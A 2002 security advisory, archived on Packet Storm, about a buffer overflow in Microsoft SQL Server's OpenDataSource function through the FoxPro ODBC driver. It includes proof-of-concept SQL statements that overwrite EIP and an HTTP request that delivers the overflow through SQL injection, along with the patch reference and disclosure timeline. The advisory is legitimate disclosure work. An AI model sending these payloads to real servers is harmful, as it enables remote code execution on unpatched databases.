exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

foxpro.overflow.txt

foxpro.overflow.txt
Posted Oct 4, 2002
Authored by sk | Site scan-associates.net

Scan Associates Security Advisory - Microsoft SQL Server 7.0 and 2000 with all service packs contains an exploitable buffer overflow in the OpenDataSource function when connecting to a "Microsoft Visual FoxPro Driver". Fix available here.

tags | overflow
SHA-256 | 26e594e72485ff41b1bc279d93df4f59a5b54c044de21868a546dfab542a2cbc

foxpro.overflow.txt

Change Mirror Download
Products: Microsoft SQL Server 7.0 and 2000, all Service Packs
Date: 6th August 2002
Summary: FoxPro ODBC Driver Buffer Overflow via SQL OpenDataSource()
Author: sk@scan-associates.net
Contributors: pokleyzz <pokleyzz@scan-associates.net>,
shaharil@scan-associates.net

Description
We found an exploitable buffer overflow using OpenDataSource function in
Microsoft SQL Server when we are connecting to "Microsoft Visual FoxPro
Driver". We have successfully exploited this vulnerability in the last =
Capture the Flag event in Malaysia and won the competition for the =
second time.

Details
Using a very long SourceDB, we can overwrite EIP register with any =
value.
The EIP will be overwritten at 276 bytes from SourceDB.

SELECT * FROM OpenDataSource( 'MSDASQL','Driver=3DMicrosoft Visual =
FoxPro
Driver;SourceDB=3De:\AAA...269...AAA<EIP>;SourceType=3DDBC')...xactions;

The following statement will cause EIP point to 0x42424242 which will =
cause
Access Voilation.

SELECT *
FROM OpenDataSource( 'MSDASQL','Driver=3DMicrosoft Visual FoxPro
Driver;SourceDB=3De:\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB;SourceTy=
pe=3D
DBC')...xactions

If you are executing the statement via Query Analyzer, you will recieve
"EXCEPTION_ACCESS_VIOLATION" error. You may start WinDbg to attach SQL =
Server process first, before executing the statement to verify that EIP =
was overwritten with 0x42424242 (BBBB).

Using a small payload of about 190 bytes, we can upload any file into =
the server to be executed with previllege of the SQL Server (usually =
SYSTEM). It is also relatively easy to attack via SQL injection. So, =
even a Database behind a NAT can reverse telnet to us:

GET
/id.asp?id=3D'a';SELECT%20*%20FROM%20OpenDataSource(%20'MSDASQL','Driver%=
3dMic
rosoft%20Visual%20FoxPro%20Driver;SourceDB%3de:\AAAAAAAAAAAAAAAAAAAAAAAAA=
AAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAA
AAAAAAAAAAAAABBBB;SourceType%3dDBC')...xactions HTTP/1.0


The problem lies in FoxPro ODBC driver, so, any products that allow =
access to ODBC driver are vulnerable as well.


Solution

http://www.microsoft.com/technet/treeview/?url=3D/technet/security/bullet=
in/MS02-056.asp

Vendor Response
6th July 2002 : Alerted Microsoft.
13th July 2002 : Microsoft confirmed problem in FoxPro driver and will
release a patch.
25th September 2002 : Microsoft will release a bulletin
4th October 2002: Patch available to public

Discovery: pokleyzz@scan-associates.net
Exploit: sk@scan-associates.net

Links
=3D=3D=3D=3D=3D
1. Win32 Buffer Overflow Walkthrough -
http://www.scan-associates.net/papers/win32_bo_walkthrough.txt

2. SQL Injection Walkthrough -

http://www.scan-associates.net/papers/sql_injection_walkthrough.txt

Greetz to: =3Dda scan clan=3D , wyse, spoonfork, wanvadder, Alphaque, =
L33tdawg, Mnemonix, Mark Litchfield, b0iler@#vuln, Saumil Shah, =
nullbyte, syscalls, mycert team, and everyone else who know us.

Regards,

sk
Scan Associates Sdn Bhd, Malaysia
www.scan-associates.net

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close